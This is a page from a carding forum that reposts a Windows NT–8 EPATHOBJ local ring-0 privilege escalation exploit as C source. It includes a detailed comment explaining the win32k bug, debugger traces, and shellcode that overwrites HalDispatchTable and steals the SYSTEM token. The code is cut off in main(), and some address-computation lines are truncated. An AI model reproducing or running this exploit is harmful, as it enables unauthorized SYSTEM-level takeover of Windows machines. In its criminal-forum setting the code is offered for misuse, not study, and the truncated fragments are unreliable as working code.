We are closing registration and public forum view to Paid & Private in 16 days! CLICK HERE to register FREE.
 
Create an account  

For users privacy, our last domains: CarderHack.com and OmertaHack.net are moved to CardingTeam.ws

Deposit & Withdraw | About Verified Sellers and Escrow | Advertise | Scam Report | Tracking Number Details | ICQ: 717039384

carding forums carding forums
carding forums carding forums
carding forums Paid adv expire in 48 days
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
 
Windows NT - Windows 8 EPATHOBJ Local Ring 0 Exploit

#1
Code:
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <stdio.h>
#include <stdarg.h>
#include <stddef.h>
#include <windows.h>
#include <assert.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
#pragma comment(lib, "shell32")
#pragma comment(linker, "/SECTION:.text,ERW")
#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif
#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
// ----------------------------------------- taviso () cmpxchg8b com -----
//
// INTRODUCTION
//
// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
// next list pointer. The bug is really nice, but exploitation when
// allocations start failing is tricky.
//
// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ     *this,
//                                        PATHRECORD   **pppr,
//                                        ULONG         *pcMax,
//                                        ULONG cNeeded)
//  .text:BFA122CA                 mov     esi, [ebp+ppr]
//  .text:BFA122CD                 mov     eax, [esi+PATHRECORD.pprPrev]
//  .text:BFA122D0                 push    edi
//  .text:BFA122D1                 mov     edi, [ebp+pprNew]
//  .text:BFA122D4                 mov     [edi+PATHRECORD.pprPrev], eax
//  .text:BFA122D7                 lea     eax, [edi+PATHRECORD.count]
//  .text:BFA122DA                 xor     edx, edx
//  .text:BFA122DC                 mov     [eax], edx
//  .text:BFA122DE                 mov     ecx, [esi+PATHRECORD.flags]
//  .text:BFA122E1                 and     ecx, not (PD_BEZIER)
//  .text:BFA122E4                 mov     [edi+PATHRECORD.flags], ecx
//  .text:BFA122E7                 mov     [ebp+pprNewCountPtr], eax
//  .text:BFA122EA                 cmp     [edi+PATHRECORD.pprPrev], edx
//  .text:BFA122ED                 jnz     short loc_BFA122F7
//  .text:BFA122EF                 mov     ecx, [ebx+EPATHOBJ.ppath]
//  .text:BFA122F2                 mov     [ecx+PATHOBJ.pprfirst], edi
//
//  It turns out this mostly works because newpathrec() is backed by newpathalloc()
//  which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
//
//  ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
//  .text:BF9160D7                 xor     esi, esi
//  .text:BF9160DE                 push    esi
//  .text:BF9160DF                 push    esi
//  .text:BF9160E0                 push    [ebp+tag]
//  .text:BF9160E3                 push    [ebp+size]
//  .text:BF9160E6                 call    _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x)
//  .text:BF9160EB                 mov     esi, eax
//  .text:BF9160ED                 test    esi, esi
//  .text:BF9160EF                 jz      short loc_BF9160FF
//  .text:BF9160F1                 push    [ebp+size]      ; size_t
//  .text:BF9160F4                 push    0               ; int
//  .text:BF9160F6                 push    esi             ; void *
//  .text:BF9160F7                 call    _memset
//
//  However, the PATHALLOC allocator includes it's own freelist implementation, and
//  if that codepath can satisfy a request the memory isn't zeroed and returned
//  directly to the caller. This effectively means that we can add our own objects
//  to the PATHRECORD chain.
//
//  We can force this behaviour under memory pressure relatively easily, I just
//  spam HRGN objects until they start failing. This isn't super reliable, but it's
//  good enough for testing.
//
//          // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
//          // failure. Seriously, do some damn QA Microsoft, wtf.
//          for (Size = 1 << 26; Size; Size >>= 1) {
//              while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
//                  ;
//          }
//
//  Adding user controlled blocks to the freelist is a little trickier, but I've
//  found that flattening large lists of bezier curves added with PolyDraw() can
//  accomplish this reliably. The code to do this is something along the lines of:
//
//          for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
//              Points[PointNum].x      = 0x41414141 >> 4;
//              Points[PointNum].y      = 0x41414141 >> 4;
//              PointTypes[PointNum]    = PT_BEZIERTO;
//          }
//
//          for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
//              BeginPath(Device);
//              PolyDraw(Device, Points, PointTypes, PointNum);
//              EndPath(Device);
//              FlattenPath(Device);
//              FlattenPath(Device);
//              EndPath(Device);
//          }
//
//   We can verify this is working by putting a breakpoint after newpathrec, and
//   verifying the buffer is filled with recognisable values when it returns:
//
//   kd> u win32k!EPATHOBJ::pprFlattenRec+1E
//   win32k!EPATHOBJ::pprFlattenRec+0x1e:
//   95c922b8 e8acfbffff      call    win32k!EPATHOBJ::newpathrec (95c91e69)
//   95c922bd 83f801          cmp     eax,1
//   95c922c0 7407            je      win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
//   95c922c2 33c0            xor     eax,eax
//   95c922c4 e944020000      jmp     win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
//   95c922c9 56              push    esi
//   95c922ca 8b7508          mov     esi,dword ptr [ebp+8]
//   95c922cd 8b4604          mov     eax,dword ptr [esi+4]
//   kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
//   kd> g
//   fe938fac  41414140
//   fe938fac  41414140
//   fe938fac  41414140
//   fe938fac  41414140
//   fe938fac  41414140
//
//   The breakpoint dumps the first dword of the returned buffer, which matches the
//   bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
//   EPATHOBJ->records->head->next->next into userspace is no problem, and we can
//   easily break the list traversal in bFlattten():
//
//   BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
//   {
//     EPATHOBJ *pathobj; // esi () 1
//     PATHOBJ *ppath; // eax () 1
//     BOOL result; // eax () 2
//     PATHRECORD *ppr; // eax () 3
//
//     pathobj = this;
//     ppath = this->ppath;
//     if ( ppath )
//     {
//       for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
//       {
//         if ( ppr->flags & PD_BEZIER )
//         {
//           ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
//           if ( !ppr )
//             goto LABEL_2;
//         }
//       }
//       pathobj->fl &= 0xFFFFFFFE;
//       result = 1;
//     }
//     else
//     {
//   LABEL_2:
//       result = 0;
//     }
//     return result;
//   }
//
//   All we have to do is allocate our own PATHRECORD structure, and then spam
//   PolyDraw() with POINTFIX structures containing co-ordinates that are actually
//   pointers shifted right by 4 (for this reason the structure must be aligned so
//   the bits shifted out are all zero).
//
//   We can see this in action by putting a breakpoint in bFlatten when ppr has
//   moved into userspace:
//
//   kd> u win32k!EPATHOBJ::bFlatten
//   win32k!EPATHOBJ::bFlatten:
//   95c92517 8bff            mov     edi,edi
//   95c92519 56              push    esi
//   95c9251a 8bf1            mov     esi,ecx
//   95c9251c 8b4608          mov     eax,dword ptr [esi+8]
//   95c9251f 85c0            test    eax,eax
//   95c92521 7504            jne     win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
//   95c92523 33c0            xor     eax,eax
//   95c92525 5e              pop     esi
//   kd> u
//   win32k!EPATHOBJ::bFlatten+0xf:
//   95c92526 c3              ret
//   95c92527 8b4014          mov     eax,dword ptr [eax+14h]
//   95c9252a eb14            jmp     win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
//   95c9252c f6400810        test    byte ptr [eax+8],10h
//   95c92530 740c            je      win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
//   95c92532 50              push    eax
//   95c92533 8bce            mov     ecx,esi
//   95c92535 e860fdffff      call    win32k!EPATHOBJ::pprFlattenRec (95c9229a)
//
//   So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
//   flags (defined in winddi.h). Let's break if it's in userspace:
//
//   kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
//   kd> g
//   95c9252c f6400810        test    byte ptr [eax+8],10h
//   kd> r
//   eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
//   eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0         nv up ei pl nz na po nc
//   cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
//   win32k!EPATHOBJ::bFlatten+0x15:
//   95c9252c f6400810        test    byte ptr [eax+8],10h       ds:0023:41414148=??
//
//   The question is how to turn that into code execution? It's obviously trivial to
//   call prFlattenRec with our userspace PATHRECORD..we can do that by setting
//   PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
//   poses a problem.
//
//   Let me demonstrate calling it with my own PATHRECORD:
//
//       // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
//       // pathrecord chain.
//       PathRecord = VirtualAlloc(NULL,
//                                 sizeof(PATHRECORD),
//                                 MEM_COMMIT | MEM_RESERVE,
//                                 PAGE_EXECUTE_READWRITE);
//
//       // Initialise with recognisable debugging values.
//       FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
//
//       PathRecord->next    = (PVOID)(0x41414141);
//       PathRecord->prev    = (PVOID)(0x42424242);
//
//       // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
//       // EPATHOBJ::bFlatten(), do that here.
//       PathRecord->flags   = PD_BEZIERS;
//
//       // Generate a large number of Bezier Curves made up of pointers to our
//       // PATHRECORD object.
//       for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
//           Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
//           Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
//           PointTypes[PointNum]    = PT_BEZIERTO;
//       }
//
//   kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
//   kd> g
//   win32k!EPATHOBJ::pprFlattenRec+0x28:
//   95c922c2 33c0            xor     eax,eax
//   kd> dd ebp+8 L1
//   a3633be0  00130000
//
//   The ppr object is in userspace! If we peek at it:
//
//   kd> dd poi(ebp+8)
//   00130000  41414141 42424242 00000010 cccccccc
//   00130010  00000000 00000000 00000000 00000000
//   00130020  00000000 00000000 00000000 00000000
//   00130030  00000000 00000000 00000000 00000000
//   00130040  00000000 00000000 00000000 00000000
//   00130050  00000000 00000000 00000000 00000000
//   00130060  00000000 00000000 00000000 00000000
//   00130070  00000000 00000000 00000000 00000000
//
//   There's the next and prev pointer.
//
//   kd> kvn
//    # ChildEBP RetAddr  Args to Child
//   00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
//   01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
//   02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
//   03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
//
//   The question is how to get PATHALLOC() to succeed under memory pressure so we
//   can make this exploitable? I'm quite proud of this list cycle trick,
//   here's how to turn it into an arbitrary write.
//
//   First, we create a watchdog thread that will patch the list atomically
//   when we're ready. This is needed because we can't exploit the bug while
//   HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
//
//   .text:BFA122B8                 call newpathrec              ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
//   .text:BFA122BD                 cmp     eax, 1               ; Check for failure
//   .text:BFA122C0                 jz      short continue
//   .text:BFA122C2                 xor     eax, eax             ; Exit early
//   .text:BFA122C4                 jmp     early_exit
//
//   So we create a list node like this:
//
//   PathRecord->Next    = PathRecord;
//   PathRecord->Flags   = 0;
//
//   Then EPATHOBJ::bFlatten() spins forever doing nothing:
//
//   BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
//   {
//       /* ... */
//
//       for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
//       {
//         if ( ppr->flags & PD_BEZIER )
//         {
//           ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
//         }
//       }
//
//       /* ... */
//   }
//
//   While it's spinning, we clean up in another thread, then patch the thread (we
//   can do this, because it's now in userspace) to trigger the exploit. The first
//   block of pprFlattenRec does something like this:
//
//       if ( pprNew->pprPrev )
//         pprNew->pprPrev->pprnext = pprNew;
//
//   Let's make that write to 0xCCCCCCCC.
//
//   DWORD WINAPI WatchdogThread(LPVOID Parameter)
//   {
//
//       // This routine waits for a mutex object to timeout, then patches the
//       // compromised linked list to point to an exploit. We need to do this.
//       LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
//                          GetCurrentThreadId(),
//                          Mutex);
//
//       if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
//           // It looks like the main thread is stuck in a call to FlattenPath(),
//           // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
//           // up, and then patch the list to trigger our exploit.
//           while (NumRegion--)
//               DeleteObject(Regions[NumRegion]);
//
//           LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
//
//           InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
//
//       } else {
//           LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
//       }
//
//       return 0;
//   }
//
//       PathRecord->next    = PathRecord;
//       PathRecord->prev    = (PVOID)(0x42424242);
//       PathRecord->flags   = 0;
//
//       ExploitRecord.next  = NULL;
//       ExploitRecord.prev  = 0xCCCCCCCC;
//       ExploitRecord.flags = PD_BEZIERS;
//
//   Here's the output on Windows 8:
//
//   kd> g
//   *******************************************************************************
//   *                                                                             *
//   *                        Bugcheck Analysis                                    *
//   *                                                                             *
//   *******************************************************************************
//
//   Use !analyze -v to get detailed debugging information.
//
//   BugCheck 50, {cccccccc, 1, 8f18972e, 2}
//   *** WARNING: Unable to verify checksum for ComplexPath.exe
//   *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
//   Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
//
//   Followup: MachineOwner
//   ---------
//
//   nt!RtlpBreakWithStatusInstruction:
//   810f46f4 cc              int     3
//   kd> kv
//   ChildEBP RetAddr  Args to Child
//   a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
//   a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
//   a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
//   a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
//   a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
//   a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
//   a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
//   a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
//   a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
//   a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
//   a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
//   a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
//   0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
//   0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
//   WARNING: Stack unwind information not available. Following frames may be wrong.
//   0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
//   0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
//   0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
//   0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
//   0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
//   kd> .trap a03aba2c
//   ErrCode = 00000002
//   eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
//   eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0         nv up ei ng nz na pe nc
//   cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
//   win32k!EPATHOBJ::pprFlattenRec+0x82:
//   8f18972e 8918            mov     dword ptr [eax],ebx  ds:0023:cccccccc=????????
//   kd> vertarget
//   Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
//   Product: WinNt, suite: TerminalServer SingleUserTS
//   Built by: 9200.16581.x86fre.win8_gdr.130410-1505
//   Machine Name:
//   Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
//   Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
//   System Uptime: 0 days 0:02:30.432
//   kd> .bugcheck
//   Bugcheck code 00000050
//   Arguments cccccccc 00000001 8f18972e 00000002
//
// EXPLOITATION
//
// We're somewhat limited with what we can do, as we don't control what's
// written, it's always a pointer to a PATHRECORD object. We can clobber a
// function pointer, but the problem is making it point somewhere useful.
//
// The solution is to make the Next pointer a valid sequence of instructions,
// which jumps to our second stage payload. We have to do that in just 4 bytes
// (unless you can find a better call site, let me know if you spot one).
//
// Thanks to progmboy for coming up with the solution: you reach back up the
// stack and pull a SystemCall parameter out of the stack. It turns out
// NtQueryIntervalProfile matches this requirement perfectly.
//
// INSTRUCTIONS
//
// C:\> cl ComplexPath.c
// C:\> ComplexPath
//
// You might need to run it several times before we get the allocation we need,
// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
// to improve that.
//
// CREDIT
//
// Tavis Ormandy <taviso () cmpxchg8b com>
// progmboy <programmeboy () gmail com>
//
POINT       Points[MAX_POLYPOINTS];
BYTE PointTypes[MAX_POLYPOINTS];
HRGN Regions[MAX_REGIONS];
ULONG NumRegion = 0;
HANDLE Mutex;
DWORD Finished = 0;
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH   0x00000001
#define PD_ENDSUBPATH     0x00000002
#define PD_RESETSTYLE     0x00000004
#define PD_CLOSEFIGURE    0x00000008
#define PD_BEZIERS        0x00000010
typedef struct _POINTFIX
{
ULONG x;
ULONG y;
} POINTFIX, *PPOINTFIX;
// Approximated from reverse engineering.
typedef struct _PATHRECORD {
struct _PATHRECORD *next;
struct _PATHRECORD *prev;
ULONG flags;
ULONG count;
POINTFIX            points[4];
} PATHRECORD, *PPATHRECORD;
PPATHRECORD PathRecord;
PATHRECORD  ExploitRecord;
PPATHRECORD ExploitRecordExit;
enum { SystemModuleInformation = 11 };
enum { ProfileTotalIssues = 2 };
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
FARPROC NtQuerySystemInformation;
FARPROC NtQueryIntervalProfile;
FARPROC PsReferencePrimaryToken;
FARPROC PsLookupProcessByProcessId;
PULONG HalDispatchTable;
ULONG HalQuerySystemInformation;
PULONG TargetPid;
PVOID *PsInitialSystemProcess;
// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
DWORD CurrentValue,
DWORD NewValue,
DWORD MaxSize)
{
DWORD i, Mask;
// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting.
Mask = ~7;
// Mask out the reference count.
CurrentValue &= Mask;
// Scan the structure for any occurrence of CurrentValue.
for (i = 0; i < MaxSize; i++) {
if ((Structure[i] & Mask) == CurrentValue) {
// And finally, replace it with NewValue.
Structure[i] = NewValue;
return TRUE;
}
}
// Member not found.
return FALSE;
}
// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.
ULONG __stdcall ShellCode( DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
{
PVOID TargetProcess;
// Record that the exploit completed.
Finished = 1;
// Fix the corrupted HalDispatchTable,
HalDispatchTable[1] = HalQuerySystemInformation;
// Find the EPROCESS structure for the process I want to escalate
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
PACCESS_TOKEN SystemToken;
PACCESS_TOKEN TargetToken;
// Find the Token object for my target process, and the SYSTEM process.
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
// Find the token in the target process, and replace with the system token.
FindAndReplaceMember((PDWORD) TargetProcess,
( DWORD )  TargetToken,
( DWORD )  SystemToken,
0x200);
}
return 0;
}
DWORD WINAPI WatchdogThread( LPVOID Parameter)
{
// Here we wait for the main thread to get stuck inside FlattenPath().
WaitForSingleObject(Mutex, CYCLE_TIMEOUT);
// It looks like we've taken control of the list, and the main thread
// is spinning in EPATHOBJ::bFlatten. We can't continue because
// EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.
// So first, we clean up and make sure it can allocate memory.
while (NumRegion) DeleteObject(Regions[--NumRegion]);
// Now we switch out the Next pointer for our exploit record. As soon
// as this completes, the main thread will stop spinning and continue
// into EPATHOBJ::pprFlattenRec.
InterlockedExchangePointer(&PathRecord->next,
&ExploitRecord);
return 0;
}
// I use this routine to generate a table of acceptable stub addresses. The
// 0x40 offset is the location of the PULONG parameter to
// nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever
// trick.
VOID __declspec ( naked ) HalDispatchRedirect( VOID )
{
    __asm inc eax
    __asm jmp dword ptr [ebp+0x40]; //  0
__asm inc ecx
__asm jmp dword ptr [ebp+0x40]; //  1
__asm inc edx
__asm jmp dword ptr [ebp+0x40]; //  2
__asm inc ebx
__asm jmp dword ptr [ebp+0x40]; //  3
__asm inc esi
__asm jmp dword ptr [ebp+0x40]; //  4
__asm inc edi
__asm jmp dword ptr [ebp+0x40]; //  5
__asm dec eax
__asm jmp dword ptr [ebp+0x40]; //  6
__asm dec ecx
__asm jmp dword ptr [ebp+0x40]; //  7
__asm dec edx
__asm jmp dword ptr [ebp+0x40]; //  8
__asm dec ebx
__asm jmp dword ptr [ebp+0x40]; //  9
__asm dec esi
__asm jmp dword ptr [ebp+0x40]; // 10
__asm dec edi
__asm jmp dword ptr [ebp+0x40]; // 11
// Mark end of table.
__asm {
_emit 0
_emit 0
_emit 0
_emit 0
}
}
int main( int argc, char **argv)
{
HANDLE Thread;
HDC Device;
ULONG Size;
ULONG PointNum;
HMODULE KernelHandle;
PULONG DispatchRedirect;
PULONG Interval;
ULONG SavedInterval;
RTL_PROCESS_MODULES  ModuleInfo;
LogMessage(L_INFO, "\r--------------------------------------------------\n"
"\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
"\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n"
"\n" );
NtQueryIntervalProfile    = GetProcAddress(GetModuleHandle( "ntdll" ), "NtQueryIntervalProfile" );
NtQuerySystemInformation  = GetProcAddress(GetModuleHandle( "ntdll" ), "NtQuerySystemInformation" );
Mutex                     = CreateMutex(NULL, FALSE, NULL);
DispatchRedirect          = ( PVOID ) HalDispatchRedirect;
Interval                  = ( PULONG ) ShellCode;
SavedInterval             = Interval[0];
TargetPid                 = GetCurrentProcessId();
LogMessage(L_INFO, "NtQueryIntervalProfile () %p" , NtQueryIntervalProfile);
LogMessage(L_INFO, "NtQuerySystemInformation () %p" , NtQuerySystemInformation);
// Lookup the address of system modules.
NtQuerySystemInformation(SystemModuleInformation,
&ModuleInfo,
sizeof ModuleInfo,
NULL);
LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p" ,
ModuleInfo.Modules[0].FullPathName,
ModuleInfo.Modules[0].ImageBase);
// Lookup some system routines we require.
KernelHandle                = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
HalDispatchTable            = ( ULONG ) GetProcAddress(KernelHandle, "HalDispatchTable" )           - ( ULONG ) KernelHandle + ( ULONG ) ModuleInfo.Modules[
PsInitialSystemProcess      = ( ULONG ) GetProcAddress(KernelHandle, "PsInitialSystemProcess" )     - ( ULONG ) KernelHandle + ( ULONG ) ModuleInfo.Modules[
PsReferencePrimaryToken     = ( ULONG ) GetProcAddress(KernelHandle, "PsReferencePrimaryToken" )    - ( ULONG ) KernelHandle + ( ULONG ) ModuleInfo.Modules[0]
PsLookupProcessByProcessId  = ( ULONG ) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId" ) - ( ULONG ) KernelHandle + ( ULONG ) ModuleInfo.Modules[0
// Search for a ret instruction to install in the damaged HalDispatchTable.
HalQuerySystemInformation   = ( ULONG ) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
- ( ULONG ) KernelHandle
+ ( ULONG ) ModuleInfo.Modules[0].ImageBase;
LogMessage(L_INFO, "Discovered a ret instruction at %p" , HalQuerySystemInformation);
// Create our PATHRECORD in user space we will get added to the EPATHOBJ
// pathrecord chain.
PathRecord = VirtualAlloc(NULL,
sizeof *PathRecord,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p" , PathRecord);
// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
// loop in EPATHOBJ::bFlatten().
PathRecord->flags   = 0;
PathRecord->next    = PathRecord;
PathRecord->prev    = (PPATHRECORD)(0x42424242);
LogMessage(L_INFO, "  ->next  @ %p" , PathRecord->next);
LogMessage(L_INFO, "  ->prev  @ %p" , PathRecord->prev);
LogMessage(L_INFO, "  ->flags @ %u" , PathRecord->flags);
// Now we need to create a PATHRECORD at an address that is also a valid
// x86 instruction, because the pointer will be interpreted as a function.
// I've created a list of candidates in DispatchRedirect.
LogMessage(L_INFO, "Searching for an available stub address..." );
// I need to map at least two pages to guarantee the whole structure is
// available.
while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
PAGE_SIZE * 2,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)) {
LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x" ,
*DispatchRedirect & ~(PAGE_SIZE - 1),
GetLastError());
// This page is not available, try the next candidate.
if (!*++DispatchRedirect) {
LogMessage(L_ERROR, "No redirect candidates left, sorry!" );
return 1;
}
}
LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x" , *DispatchRedirect);
// This PATHRECORD must terminate the list and recover.
ExploitRecordExit           = (PPATHRECORD) *DispatchRedirect;
ExploitRecordExit->next     = NULL;
ExploitRecordExit->prev     = NULL;
ExploitRecordExit->flags    = PD_BEGINSUBPATH;
ExploitRecordExit->count    = 0;
LogMessage(L_INFO, "  ->next  @ %p" , ExploitRecordExit->next);
LogMessage(L_INFO, "  ->prev  @ %p" , ExploitRecordExit->prev);
LogMessage(L_INFO, "  ->flags @ %u" , ExploitRecordExit->flags);
// This is the second stage PATHRECORD, which causes a fresh PATHRECORD
// allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
// be copied over to the new record. Therefore, we get
//
// nt!HalDispatchTable[1] = &ExploitRecordExit.
//
// So we make &ExploitRecordExit a valid sequence of instuctions here.
LogMessage(L_INFO, "ExploitRecord () %#0x" , &ExploitRecord);
ExploitRecord.next          = (PPATHRECORD) *DispatchRedirect;
ExploitRecord.prev          = (PPATHRECORD) &HalDispatchTable[1];
ExploitRecord.flags         = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count         = 4;
LogMessage(L_INFO, "  ->next  @ %p" , ExploitRecord.next);
LogMessage(L_INFO, "  ->prev  @ %p" , ExploitRecord.prev);
LogMessage(L_INFO, "  ->flags @ %u" , ExploitRecord.flags);
LogMessage(L_INFO, "Creating complex bezier path with %x" , ( ULONG )(PathRecord) >> 4);
// Generate a large number of Belier Curves made up of pointers to our
// PATHRECORD object.
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
